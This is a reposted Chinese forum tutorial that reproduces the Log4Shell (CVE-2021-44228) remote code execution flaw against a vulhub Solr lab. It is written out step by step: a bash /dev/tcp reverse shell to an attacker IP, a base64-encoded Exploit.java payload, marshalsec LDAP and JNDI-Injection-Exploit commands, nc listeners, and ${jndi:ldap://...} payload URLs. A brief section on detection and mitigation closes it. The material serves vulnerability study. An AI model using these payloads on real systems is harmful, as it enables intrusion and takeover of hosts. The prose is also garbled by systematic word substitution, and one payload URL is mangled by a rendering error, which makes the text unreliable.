log4j2远程代码执行弊端原理与弊端复现(基于vulhub,保姆级的具体教程)_l ...

打印 上一主题 下一主题

主题 1018|帖子 1018|积分 3054

弊端原理

啥是log4j2?

log4j2是apache下的java应用常见的开源日志库,是一个就Java的日志记载工具。在log4j框架的根本上进行了改进,并引入了丰富的特性,可以控制日志信息运送的目的地为控制台、文件、GUI组建等,被应用于业务体系开发,用于记载程序输入输出日志信息。
啥是JNDI?

由于弊端使用会涉及到JNDI注入相关的知识,这里扼要做一个对JNDI的介绍。
JNDI,全称为Java命名和目录接口(Java Naming and Directory Interface),是SUN公司提供的一种标准的Java命名体系接口,答应从指定的远程服务器获取并加载对象。**JNDI相当于一个用于映射的字典,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。**JNDI注入攻击时常用的就是通过RMI和LDAP两种服务,本文以LDAP服务为例进行复现。
log4j2远程代码执行弊端原理

**cve编号:**CVE-2021-44228
log4j2框架下的lookup查询服务提供了{}字段解析功能,传进去的值会被直接解析。比方${java:version}会被更换为对应的java版本。如许如果不对lookup的出栈进行限制,就有大概让查询指向任何服务(大概是攻击者摆设好的恶意代码)。
攻击者可以使用这一点进行JNDI注入,使得受害者哀求远程服务来链接本地对象,在lookup的{}内里构造payload,调用JNDI服务(LDAP)向攻击者提前摆设好的恶意站点获取恶意的.class对象,造成了远程代码执行(可反弹shell到指定服务器)。
画个简朴点的弊端使用示意图,如下:

尽大概画的具体一点,大概是下图。

攻击者构造payload,在JNDI接口lookup查询进行注入,payload为${jndi:ldap:恶意url/poc},JNDI会去对应的服务(如LDAP、RMI、DNS、文件体系、目录服务…本例为ldap)查找资源,由于lookup的出栈没做限制,最终指向了攻击者摆设好的恶意站点,下载了远程的恶意class,最终造成了远程代码执行rce。
靶场搭建

靶机:Ubuntu  192.168.200.129(无所谓是不是Ubuntu,任意找个地方用docker启动就行)
用vulhub靶场搭建,起首进入目录CVE-2021-44228中,docker启动命令:
  1. docker-compose up –d
复制代码

查看一下端口:
  1. Docker-compose up -d
复制代码

发现端口是8983,浏览器访问http://192.168.200.129:8983/

弊端检测

用dnslog平台检测dns回显,看看有没有弊端存在,网址为:DNSLog Platform

点击Get SubDomin获取一个子域名,我这里是3dto27.dnslog.cn

在/solr/admin/cores?有个参数可以传,这就是个注入点,我们试试能不能输出java版本,构造payload,访问的url如下:
http://192.168.200.129:8983/solr/admin/cores?action=KaTeX parse error: Expected '}', got 'EOF' at end of input: {jndi:ldap://{sys:java.version}.3dto27.dnslog.cn }
注意别忘了将url中的ip改为靶机ip,注入部分中的3dto27.dns.log.cn改为你在Get SubDomin获取的子域名。如果存在log4j2弊端,我们将在DNSLog平台看到回显。

返回刚才的DNSLog平台,点击革新记载Refresh Record(大概比力慢,不要着急,可以多点几次Refresh Record),可以看到有数据:在DNS Query Record一栏下面出现了条目,回显了java版本1.8.0_102,分析存在log4j弊端。

弊端使用(获取反弹shell)

我第一次复现的时候,直接用了JNDI注入工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar或JNDIExploit-1.4-SNAPSHOT.jar,可以在github上搜一下(后文会介绍),但我写博客的时候考虑到用这种工具感觉像是一键复现弊端,对弊端使用的每个步调好像并不是很明白,所以我们还是先不消这种方法,还是老老实实本身编写一下恶意代码,启动一下恶意的http服务站点和LDAP服务,完整的演示一下过程。
靶机:Ubuntu  192.168.200.129 (任意找个地方用docker搭一下就行)
攻击机: kali  192.168.200.131 (无所谓是不是kali,windows都行)
方法一:编写恶意文件

我们先编写以下的恶意文件Exploit.java,我们企图反弹shell到kali(ip为192.168.200.131)的7777端口,因此对应的bash命令为:
  1. bash -i >& /dev/tcp/192.168.200.131/7777 0>&1
复制代码
然后对上述命令进行base64编码,这里给出一个网站,可以直接进行payload的编码:Runtime.exec Payload Generater | AresX’s Blog (ares-x.com)

编码结果为:
  1.  bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}
复制代码
好的,有了编码结果,我们就可以编写恶意文件了,编写以下代码命名为Exploit.java。
  1. import java.lang.Runtime;
  2. import java.lang.Process;
  3. public class Exploit {
  4.      public Exploit(){
  5.              try{
  6.                  Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}");
  7.                                 }catch(Exception e){
  8.                                             e.printStackTrace();
  9.                                              }
  10.                 }
  11.          public static void main(String[] argv){
  12.                          Exploit e = new Exploit();
  13.                             }
  14. }
复制代码
然后我们把Exploit.java编译为Exploit.class,最好包管javac的版本为1.8。命令如下:
  1. javac Exploit.java
复制代码
我是在物理机中编译的,编译完成之后的.class文件立即被windows安全中心的病毒和威胁防护功能给干掉了,需要还原一下(手动狗头)。把编译好的Exploit.class放到攻击机kali的任意一个目录下:

并在此目录开启http服务,我这里把端口设置为了4444,命令如下:
  1. python -m http.server 4444
复制代码

然后浏览器访问攻击机ip:端口,我这里为192.168.200.131:4444 ,应该可以看到一个目录:

读者只要包管你的站点目录里有Exploit.class就行,至于我目录里有啥其他的读者不消在意。接下来,我们在攻击机启动LDAP服务。这里使用工具marshalsec-0.0.3-SNAPSHOT-all.jar来快速开启,这个工具在我的上一篇博客中有提到,详情见
(56条消息) Fastjson反序列化弊端原理与弊端复现(基于vulhub,保姆级的具体教程)_Bossfrank的博客-CSDN博客
下载链接为marshalsec-0.0.3-SNAPSHOT-all.jar,下载完之后用mvn clean package -DskipTests天生.jar文件。在上一篇博客中,我们是用这个工具建立了RMI 服务,这次我们是要用这个工具建立LDAP服务。
好了,废话说完了,如今我们在攻击机marshalsec-0.0.3-SNAPSHOT-all.jar地点目录开启LDAP监听,命令中的1389为LDAP服务的端口,你也可以换成别的端口。
  1. java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer  "http://刚才http服务的地址:端口号/#Exploit" 1389
复制代码
本例中的命令为:
  1. java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer  "http://192.168.200.131:4444/#Exploit" 1389
复制代码

接着在攻击机另起一个终端,监听之前Exploit.java内里写的反弹shell的端口7777,命令为:
  1. nc -lvvp 7777
复制代码

末了一步,也是最关键的一步,进行JNDI注入,我们在注入点/solr/admin/cores?action构造一个JNDI注入如下:
${jndi:ldap://192.168.200.131:1389/Exploit}
完整的url为:
  1. http://192.168.200.129:8983/solr/admin/cores?action=${jndi:ldap://192.168.200.131:1389/Exploit}
复制代码
也可以用Burp抓包改包,但由于是get哀求,直接输入url就行了。
[http://192.168.200.129:8983/solr/admin/cores?action=                                             j                            n                            d                            i                            :                            l                            d                            a                            p                            :                            /                            /                            192.168.200.131                            :                            1389                            /                            E                            x                            p                            l                            o                            i                            t                                  ]                         (                         h                         t                         t                         p                         :                         /                         /                         192.168.200.129                         :                         8983                         /                         s                         o                         l                         r                         /                         a                         d                         m                         i                         n                         /                         c                         o                         r                         e                         s                         ?                         a                         c                         t                         i                         o                         n                         =                              {jndi:ldap://192.168.200.131:1389/Exploit}](http://192.168.200.129:8983/solr/admin/cores?action=                  jndi:ldap://192.168.200.131:1389/Exploit](http://192.168.200.129:8983/solr/admin/cores?action=%7Bjndi:ldap://192.168.200.131:1389/Exploit%7D “http://192.168.200.129:8983/solr/admin/cores?action=${jndi:ldap://192.168.200.131:1389/Exploit}
”)
访问上述url(别忘了把第一个ip改为靶机ip,第二个ip改为之前建立的LDAP服务的地点:端标语),应该就成功了,访问的页面回显如下:

攻击机启动的LDAP服务的终端显示如下:

攻击机开启的HTTP服务的终端显示如下:

可以看到末了两条日志信息,靶机已经通过GET方法哀求了我们的恶意代码Exploit.class,状态码为200,成功响应,此时应该已经实现了RCE远程代码执行。我们查看对7777端口进行监听的终端,成功获取了shell:

已经可以在攻击机执行任何代码了:
 如许就实现了攻击,复现了log4j的远程代码执行弊端。
复现成功之后别忘了用如下命令关闭靶场。
  1. docker-compose down
复制代码
方法二:直接使用现成的JNDI注入工具

这种方法更为便捷,属于是一键摆设了。用到的工具为JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,项目地点:sayers522/JNDI-Injection-Exploit: JNDI命令注入使用 (github.com)
下载之后还要用maven天生.jar可执行文件,在pom.xml目录下运行:mvn clean package -DskipTests   如果没有mvn,参阅
(51条消息) 史上最全安装Maven教程_安装mvnw_小Du猿的博客-CSDN博客
如果build成功,会天生一个target目录,内里会有JNDI-Injection-Exploit-1.0-SNAPSHOT-.jar

使用这个工具,我们就不消本身编写恶意代码.class再上传服务器了,直接用这个工具输入对应的命令就行了。
与方法一雷同,我们的目标是反弹shell到目标端口,反弹shell的命令为:bash -i >& /dev/tcp/传反弹shell的主机ip/端标语 0>&1
本例为(一会我们会在攻击机的一个终端监听6666端口):
  1. bash -i >& /dev/tcp/192.168.200.131/6666 0>&1
复制代码
还是要对这个命令进行base64编码,网址再贴一遍:
Runtime.exec Payload Generater | AresX’s Blog (ares-x.com)
编码后的结果为:
  1. bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}
复制代码

然后我们使用JNDI注入工具把这个反弹shell命令摆设到LDAP服务上去,在JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar地点目录运行如下命令:
  1. java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "构造反弹shell的命令的base64编码" -A "攻击机ip"
复制代码
本例为:
  1. java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}
  2. " -A "192.168.200.131"
复制代码
运行之后的终端显示如下:

可以看到,这里已经一键摆设好了RMI和LDAP服务的站点,并给出了路径,JDK1.8的版本为ldap://192.168.200.131:1389/Exploit,JDK1.7的版本为:ldap://192.168.200.131:1389/Exploit7 。这两个任选一个都行。
然后再打开一个终端,监听一个端口,本例监听的是6666(前面的反弹shell命令写的就是6666):
  1. nc –lvvp 6666
复制代码

末了一步和方法逐一样,构造payload,由于是GET方式,浏览器访问以下任意一个url即可:
http://192.168.200.129:8983/solr/admin/cores?action=${jndi:ldap://192.168.200.131:1389/Exploit}

http://192.168.200.129:8983/solr/admin/cores?action=${jndi:ldap://192.168.200.131:1389/Exploit7}
用rmi应该也行:
http://192.168.200.129:8983/solr/admin/cores?action=${rmi:ldap://192.168.200.131:1099/Exploit}
http://192.168.200.129:8983/solr/admin/cores?action=${rmi:ldap://192.168.200.131:1099/Exploit7}
这里以访问LDAP的Exploit为例:

JNDI注入工具的终端显示如下:

打开刚才监听的终端,成功获取了反弹shell:

此时已经可以执行任意命令了:
如许就使用JNDI注入工具实现了攻击,复现了log4j的远程代码执行弊端。
复现成功之后别忘了用如下命令关闭靶场。
  1. docker-compose down
复制代码
也可以使用其他的注入工具,如JNDIExploit-1.4-SNAPSHOT.jar ,Github链接:WhiteHSBG/JNDIExploit: 对原版https://github.com/feihong-cs/JNDIExploit 进行了实用化修改
这个工具是在攻击机的对应目录运行:
  1. java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 攻击机ip
复制代码

然后监听个端口7777,再浏览器访问
http://192.168.200.129:8983/solr/admin/cores?action=${jndi:ldap://192.168.200.131:1389/Basic/ReverseShell/192.168.200.131/7777}
之后就获得shell了。

如下图,攻击成功。

结语

log4j2是2021年底爆出的非常严重的弊端,可谓是风靡一时,“血洗互联网”,也是安全公司面试的常见题目,我们应该了解这个弊端的原理及使用方式。
如何排查是否受到了攻击?
检查日志中是否存在"jndi:ldap://"、"jndi:rmi//"等字符来发现大概的攻击举动,前面复现的过程在payload的构造中都出现了如许的字符串,这是攻击的典范标记。
如何对log4j2的攻击进行防御?
1.设置log4j2.formatMsgNoLookups=True。相当于直接禁止lookup查询出栈,也就不大概哀求到访问到远程的恶意站点。
2.对包罗有"jndi:ldap://"、"jndi:rmi//"如许字符串的哀求进行拦截,即拦截JNDI语句来防止JNDI注入。
3.对体系进行合理配置,禁止不必要的业务访问外网,配置网络防火墙,禁止体系主动外连网络等等。
4.升级log4j2组件到新的安全的版本。
末了

从时代发展的角度看,网络安全的知识是学不完的,而且以后要学的会更多,同学们要摆正心态,既然选择入门网络安全,就不能仅仅只是入门程度而已,能力越强机会才越多。
由于入门学习阶段知识点比力杂,所以我讲得比力笼统,大家如果有不懂的地方可以找我咨询,我包管知无不言言无不尽,需要相关资料也可以找我要,我的网盘里一大堆资料都在吃灰呢。
干货主要有:
①1000+CTF历届题库(主流和经典的应该都有了)
②CTF技术文档(最全中文版)
③项目源码(四五十个有趣且经典的练手项目及源码)
④ CTF大赛、web安全、渗透测试方面的视频(适合小白学习)
⑤ 网络安全学习门路图(告别不入流的学习)
⑥ CTF/渗透测试工具镜像文件大全
⑦ 2023暗码学/隐身术/PWN技术手册大全
扫码领取
本文转自 https://blog.csdn.net/Bossfrank/article/details/130148819?spm=1001.2100.3001.7377&utm_medium=distribute.pc_feed_blog_category.none-task-blog-classify_tag-9-130148819-null-null.nonecase&depth_1-utm_source=distribute.pc_feed_blog_category.none-task-blog-classify_tag-9-130148819-null-null.nonecase,如有侵权,请接洽删除。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

河曲智叟

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表